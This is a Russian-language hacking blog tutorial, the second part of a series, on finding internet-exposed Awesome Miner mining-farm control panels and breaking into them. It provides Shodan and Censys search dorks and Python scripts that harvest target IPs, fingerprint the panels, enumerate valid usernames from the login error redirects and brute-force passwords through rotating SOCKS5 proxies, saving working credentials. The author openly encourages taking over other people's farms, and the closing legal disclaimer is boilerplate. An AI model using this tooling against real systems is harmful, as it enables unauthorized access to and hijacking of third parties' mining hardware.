Asic Awesome Miner Bitcoin Censys Shodan Брутфорс Криптовалюты Майнеры Майнинг Обучение Эксклюзив

Брутим майнеры. Взлом майнинговых ферм. Часть 2

Брутим майнеры. Взлом майнинговых ферм. Часть 2

Мы уже рассказывали насколько незащищено оборудование, предназначенное для майнинга криптовалют и о том, как легко можно заставить чужой асик майнить тебе. Но то была только верхушка айсберга, и сегодня мы поговорим уже не об отдельных устройствах, а о целых майнинговых фермах и о програмном обеспечении, которое их контролирует.

Ты даже не можешь себе представить насколько некомпетентны и скупы люди, которые строят майнинговые фермы. Порой, доходит просто до абсурда. Люди с фермами с сотнями майнеров используют устаревшее или того хуже, пиратское, програмное обеспечении, для обеспечния работоспособности и мониторинга своих асиков. Примеров тому много. Но в этой статье мы тебе расскажем только про один. Остальное тебе предстоит додумать самому. Благо, ресурсов посвященных майнингу в интернете очень много. Как софта, про который мы тебе расскажем сегодня.

Да мой друг, сегодня мы будем получать доступ не к отдельным машинам, а к целым фермам.

Как мы и обещали, вот и вторая часть цикла статей про брут майнеров, в первой мы разбирали процесс брута веб панели асиков от компании INNOSILICON (ознакомится с исходниками программы и посмотреть результаты можете тут, код программы, которую мы допишем в этой статье можно найти тут.), в этой части речь пойдет про брут панели Awesome Miner.

Awesome Miner – это приложение для Windows, предназначенное для управления и мониторинга майнинга Bitcoin, Litecoin, Ethereum и других криптовалют. Awesome Miner также может отображать информацию, курсы валют и делать расчеты доходности всех других популярных монет. С помощью подписки на облачные сервисы уведомления могут также доставляться с помощью SMS или Telegram. У программы также есть встроенный веб-интерфейс, доступ к которому можно получить с любого компьютера, планшета или смартфона, его мы и будем брутить.

Очень удобный инструмент. В грамотных руках.

Вот только в интернете без труда можно найти версии Awesome Miner образца 2017-2018 с уже известными проблемами и уязвимостями. И люди не только устанавливать такое ПО для обеспечения работоспособности своих ферм, но и пробрасывают управление в интернет (иногда бывает даже без пароля).

И ещё раз, в этой статье мы просто “засвечиваем” тему. О том как её раскрутить ты должен подумать сам. Могу лишь сказать, что софта для управления фермами очень много. И очень много такого ПО имеет проблемы

Поиск майнинговых ферм через Shodan и Censys

Для сбора айпи, будем использовать Python 3 с библиотеками Shodan и Censys, поэтому необходимо создать там аккаунты и получить api ключи.

Искать панели в Censys можно по этому запросу: 80.http.get.body: Awesome Miner

Дорк для шодана: title:Awesome Miner или Awesome Miner

Скрипт (Python 3) для поиска айпи:

import os
import json
import time
import shodan
import censys
import datetime
from censys import ipv4

ip_list = []
shodan_api_key = "KEY"
censys_api_key = "KEY"
censys_api_secret = "SECRET"


def shodan_scanner(dork, start=1, stop=2):
    api = shodan.Shodan(shodan_api_key)
    for page in range(start, stop):
        try:
            time.sleep(0.5)
            results = api.search(dork, page=page)
            for result in results['matches']:
                if result['ip_str'] not in ip_list:
                    ip_list.append(result['ip_str'])
                    print(result['ip_str'])
        except shodan.exception.APIError as error:
            print('[!] Error: ' + str(error))
            continue


def censys_scanner(dork, records=25):
    c = ipv4.CensysIPv4(api_id=censys_api_key, api_secret=censys_api_secret)
    try:
        for result in c.search(dork, max_records=records):
            res = json.dumps(result, indent=4)
            r = json.loads(res)
            if r["ip"] not in ip_list:
                ip_list.append(r["ip"])
                print(r["ip"])
    except censys.exceptions as error:
        print('[!] Error: ' + str(error))


if __name__ == "__main__":
    if not os.path.exists('logs'):
        os.mkdir('logs')

    date = datetime.datetime.today().strftime("%H.%M_%d-%m-%y")

    print("Finding IP...\n")
    results_file = r'logs/' + date + '.txt'

    print("\nCensys:")
    censys_scanner("80.http.get.body: Awesome Miner", records=40)
    print("\nShodan:")
    shodan_scanner("Awesome Miner", stop=3)

    f = open(results_file, "a")
    for ip in ip_list:
        f.write(str(ip) + "\n")
        print(ip)
    f.close()

В первой части мы детальнее разбирали этот скрипт. Версии библиотек необходимых для его работы:

censys==1.1.1
shodan==1.25.0

После запуска создастся папка logs, в которой будут текстовые файлы с айпи:

Поиск панелей из списка айпи

Список айпи мы получили, осталось найти в этом списке панели Awesome Miner, для этого перейдем на страницу /signin?returnUrl=/ и посмотрим, как происходит авторизация:

http://IP/signin?error=invaliduser
http://IP/signin?error=invalidpassword

Если пользователь существует, мы получаем сообщение о неверном пароле (http://IP/signin?error=invalidpassword), это поможет нам брутить юзеров, но сначала нужно найти айпи Awesome Miner-ов среди тех, которые нам дал Shodan и Censys. Для этого будем использовать библиотеку requests.

После перехода на страницу входа (/signin), мы будем искать заголовок “Awesome Miner” и если находим его, записываем айпи в список awesome_miners, который нужно объявить в начале файла (если вы планируете использовать socks5 прокси, то нужно создать файл proxy.txt, в котором будут айпи вместе с портами):

def find_awesomeminers(url):
   
error = "Cannot connect to proxy"
    while "Cannot connect to proxy" in str(error):
        if url not in awesome_miners:
            for retry in range(16):
                try:
                    time.sleep(0.5)

                    if args.proxy:
                        prox = random.choice(proxy_list)
                        proxies = {
                            "https": "socks5h://" + str(prox),
                            "http": "socks5h://" + str(prox)}

                        send = requests.post("http://" + str(url) + "/signin", headers=headers_gen(), proxies=proxies,
                                             verify=False, timeout=15)
                    else:
                        send = requests.post("http://" + str(url) + "/signin", headers=headers_gen(), verify=False,
                                             timeout=15)

                    if r"<title>Awesome Miner</title>" in send.text:
                        if url not in awesome_miners:
                            print("[*] Awesome Miner found: " + str(url))
                            awesome_miners.append(url)

                    error = None
                except Exception as e:
                    if "Cannot connect to proxy" in str(e) or "Read timed out" in str(e) or "Max retries exceeded" \
                            in str(e) or "Connection reset by peer" in str(e) or "RemoteDisconnected" in str(e):
                        pass
                    else:
                        print("\n" + str(e) + "\n")
                    error = str(e)

Скриншот работы поиска Awesome Miner-ов:

Начинаем брутить веб-панель

Теперь можем создать функцию, которая будет брутить логины для входа в панель. Процесс очень похож на тот, что мы использовали для брута AsicMiner-ов, изменений буквально пара строк, если хотите детальнее разобраться в работе, стоит прочитать первую часть.

def awesomeminer_web_user_brute(url):
   
for user in standard_users:
        data = {“username”: user, “password”: “password”}

        error = “Cannot connect to proxy”
        while “Cannot connect to proxy” in str(error) or “Max retries exceeded” in str(error):
            time.sleep(0.5)
            try:
                if args.proxy:
                    p = random.choice(proxy_list)
                    proxies = {
                        “https”: “socks5h://” + str(p),
                        “http”: “socks5h://” + str(p)}

                    send = requests.post(“http://” + str(url) + “/signin”, data=data, headers=headers_gen(),
                                         proxies=proxies, verify=False, timeout=10)
                else:
                    send = requests.post(“http://” + str(url) + “/signin”, data=data, headers=headers_gen(),
                                         verify=False, timeout=10)

                if r”/signin?error=invalidpassword” in send.url:
                    print(“[*] Username found: ” + user)
                    found = open(“found_users.txt”, “a”)
                    found.write(“url: ” + str(url) + “\tusername: ” + str(user) + “\n”)
                    found.close()

                    brute_data.insert(0, user)
                    brute_data.insert(1, url)

                    freeze_support()
                    pool_ = Pool(15)
                    pool_.map(awesomeminer_web_pass_brute, password_list)
                    pool_.close()
                    pool_.join()

                elif r”/signin?error=invaliduser” in send.url:
                    print(“[-] Username ” + user + ” not found!”)
                else:
                    print(“[!] There maybe error!”)

                error = None
            except Exception as e:
                if “Cannot connect to proxy” in str(e) or “Max retries exceeded” in str(e):
                    pass
                else:
                    print(“\n” + str(e) + “\n”)
                error = str(e)

Функция для брута паролей:

def awesomeminer_web_pass_brute(password):
    global brute_data
    error = “Cannot connect to proxy”
    user = brute_data[0]
    url = brute_data[1]
    print(“[!] Trying password: ” + password + ” for user: ” + str(user))
    while “Cannot connect to proxy” in str(error) or “Max retries exceeded” in str(error):
        try:
            time.sleep(0.5)

            d = {“username”: user, “password”: password}
            if args.proxy:
                prox = random.choice(proxy_list)
                proxies = {
                    “https”: “socks5h://” + str(prox),
                    “http”: “socks5h://” + str(prox)}

                pass_brute = requests.post(“http://” + str(url) + “/signin”, data=d, headers=headers_gen(),
                                           proxies=proxies, verify=False, timeout=10)
            else:
                pass_brute = requests.post(“http://” + str(url) + “/signin”, data=d, headers=headers_gen(),
                                           verify=False, timeout=10)

            if r”Dashboard” in pass_brute.text:
                print(“[*] Found password: ” + str(password) + ” for user: ” + str(user))
                found = open(“found_pass.txt”, “a”)
                found.write(“url: ” + str(url) + “\tusername: ” + str(user) + ” password: ” + password + “\n”)
                found.close()

            error = None
        except Exception as e:
            if “Cannot connect to proxy” in str(e) or “Max retries exceeded” in str(e):
                pass
            else:
                print(“\n” + str(e) + “\n”)
            error = str(e)

Скриншот работы брута логина и пароля:

После успешного брута появится файл found_pass.txt, в котором будет логин и пароль, с которым вы сможете войти в веб-панель:

Вот такие бывают фермы

Мы тебе показали лишь с чего начинать. Что делать дальше – думай сам. Фермы бывают очень разные. И по 10 асиков. И по 100. А бывает и по 1000. Как мы убедились, DevOPSы и админы там – не самые умные люди. А зачастую – просто откровенные идиоты.

Напоминаем, что больше об этом можно прочитать на каналах CyberSec’s, ПТУ№69. A если у вас остались вопросы, задать их можно у нас в чатах первокурсников ПТУ, @ebursapublic и @badbclub, там же вы можете поделится своими результатами и идеями для следующих публикаций.

ВНИМАНИЕ! АДМИНИСТРАЦИЯ САЙТА НЕ СОВЕРШАЕТ И НЕ РЕКОМЕНДУЕТ ВАМ СОВЕРШАТЬ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ ИЛИ ПОЛУЧАТЬ НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К СИСТЕМАМ. ДАННАЯ СТАТЬЯ НАПРАВЛЕНА НА ТО, ЧТОБЫ УКАЗАТЬ НА ПРОБЛЕМЫ С СИСТЕМАМИ И ПРЕДОСТЕРЕЧЬ ПОЛЬЗОВАТЕЛЕЙ ОТ ВОЗМОЖНЫХ АТАК.

f4r6er
f4r6er Script kiddie, red teamer, Python lover.

Комментарии

  1. Finding IP…

    Censys:
    Traceback (most recent call last):
    File “C:\Users\Admin\Desktop\Новая папка (2)\1.py”, line 33, in censys_scanner
    for result in c.search(dork, max_records=records):
    File “C:\Users\Admin\AppData\Local\Programs\Python\Python310\lib\site-packages\censys\api.py”, line 168, in search
    pages = payload[“metadata”][“pages”]
    KeyError: ‘metadata’

    During handling of the above exception, another exception occurred:

    Traceback (most recent call last):
    File “C:\Users\Admin\Desktop\Новая папка (2)\1.py”, line 53, in
    censys_scanner(“80.http.get.body: Awesome Miner”, records=40)
    File “C:\Users\Admin\Desktop\Новая папка (2)\1.py”, line 39, in censys_scanner
    except censys.exceptions as error:
    TypeError: catching classes that do not inherit from BaseException is not allowed

    Помоги пожалуйста, что нужно сделать?

  2. в новой версии censys надо так:
    from censys.search import CensysHosts

    def censys_scanner(dork, records=25):
    c = CensysHosts(api_id=censys_api_key, api_secret=censys_api_secret)

Leave a Reply

Your email address will not be published. Required fields are marked *